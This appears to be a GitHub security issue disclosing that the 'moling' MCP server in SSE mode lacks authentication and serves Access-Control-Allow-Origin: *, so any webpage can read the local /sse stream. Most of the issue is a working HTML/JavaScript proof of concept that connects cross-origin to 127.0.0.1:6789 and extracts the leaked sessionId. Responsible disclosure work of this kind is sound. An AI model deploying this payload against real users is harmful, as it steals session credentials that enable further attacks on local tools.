Skip to content

vulnerability:SSE No Authentication + CORS: * #41

@researchersongwu

Description

@researchersongwu

This vulnerability is found by Songwu security researcher,Zeyu Luo security researcher, Dr. CAO Yinfeng, Kevin(The Hong Kong Polytechnic University / HKCT Institute of Higher Education)

vulnerability description

When moling is started in SSE mode with the -l flag, the HTTP server does not implement any authentication mechanism. In addition, the underlying mcp-go library hardcodes Access-Control-Allow-Origin: * in the HTTP response headers for the /sse endpoint.

Under normal circumstances, the browser’s Same-Origin Policy (SOP) would prevent scripts from site A from reading responses from site B. However, Access-Control-Allow-Origin: * explicitly tells the browser that “any website is allowed to read my response.” As a result, any webpage can use EventSource to connect to /sse and fully read the SSE stream, including the sessionId contained in it.

POC

```html
<!DOCTYPE html>
<!--
  PoC #1 — SSE No Authentication + CORS: *
  =======================================
  Principle:
    The /sse endpoint responds with Access-Control-Allow-Origin: *
    → The browser allows EventSource connections from any website across origins
    → The sessionId can be fully read

  Verification goal:
    Demonstrate that the SSE stream can be read cross-origin and the sessionId obtained
    (This PoC validates the vulnerability only; it does not execute commands)

  Victim prerequisite:
    moling -l 127.0.0.1:6789  (or any address)
-->
<html>
<head><meta charset="utf-8"><title>PoC #1 - CORS No Auth</title>
<style>
  body { font-family: monospace; background: #0d1117; color: #c9d1d9; padding: 20px; }
  pre  { background: #010409; border: 1px solid #30363d; padding: 14px;
         border-radius: 6px; white-space: pre-wrap; }
  .ok  { color: #3fb950; } .err { color: #ff7b72; } .info { color: #79c0ff; }
  .key { color: #e3b341; }
</style>
</head>
<body>
<h2>PoC #1 — SSE No Authentication + CORS: *</h2>
<p>Current page origin: <code id="origin"></code></p>
<pre id="out">Waiting...</pre>

<script>
document.getElementById('origin').textContent = location.origin;

const out = document.getElementById('out');
const log = (s, c='') => {
  const e = document.createElement('span');
  e.className = c; e.textContent = s + '\n';
  out.appendChild(e);
};

// ─────────────────────────────────────────────────────────────────
//  Core idea: cross-origin EventSource connection
//
//  This page comes from evil-attacker.com (or file://, or any other origin)
//  The target server is on 127.0.0.1:6789
//  Their origins are completely different → under normal circumstances,
//  the browser would refuse to let this page read the response
//
//  But /sse returns Access-Control-Allow-Origin: *
//  → the browser lifts the restriction and allows the SSE stream to be read
// ─────────────────────────────────────────────────────────────────
const TARGET = 'http://127.0.0.1:6789';

log('=== PoC #1: SSE No Authentication + CORS: * ===\n');
log(`[*] Attacker origin: ${location.origin}`);
log(`[*] Target server:   ${TARGET}`);
log(`[*] Expected to get: sessionId\n`);
log('[*] Connecting to ' + TARGET + '/sse ...');

// The browser automatically includes the Origin header in the request
// The server responds with Access-Control-Allow-Origin: * → reading is allowed
const es = new EventSource(TARGET + '/sse');

es.onopen = () => {
  log('[+] SSE connection established successfully (cross-origin!)', 'ok');
  log('[+] The server performs no authentication checks', 'ok');
};

// The server's CORS header allows the browser to read this event
// If the server did not return Access-Control-Allow-Origin,
// this would fail silently
es.addEventListener('endpoint', (e) => {
  log('\n[+] Received SSE event "endpoint" (cross-origin read succeeded!)', 'ok');
  log(`[+] Full data: ${e.data}`, 'info');

  const sessionId = e.data.split('sessionId=')[1];
  log(`\n[!!!] sessionId leaked: ${sessionId}`, 'key');
  log('\n[*] Vulnerability verification complete:', 'ok');
  log('    ✓ A page served from ' + location.origin);
  log('    ✓ Successfully read http://127.0.0.1:6789/sse cross-origin');
  log('    ✓ Obtained the sessionId (credential for follow-up attacks)');
  log('\n[*] If this vulnerability is fixed (remove CORS: *):');
  log('    × EventSource will fail silently');
  log('    × sessionId will not leak');
  log('    × All subsequent attacks will be blocked');
  es.close();
});

es.onerror = () => {
  log('[-] SSE connection failed (service not running, or CORS already fixed)', 'err');
};

// ─────────────────────────────────────────────────────────────────
//  Technical notes:
//
//  EventSource is a CORS "simple request":
//    - Method: GET
//    - No custom request headers (only Accept: text/event-stream)
//
//  The server response headers determine whether it is readable:
//    Access-Control-Allow-Origin: *    → readable from any origin  ← current state (vulnerable)
//    Access-Control-Allow-Origin: <none> → browser blocks reading (safe)
//    Access-Control-Allow-Origin: https://example.com → readable only from that origin (safe)
// ─────────────────────────────────────────────────────────────────
</script>
</body>
</html>

result
Image

Metadata

Metadata

Assignees

Labels

bugSomething isn't working

Type

No type

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions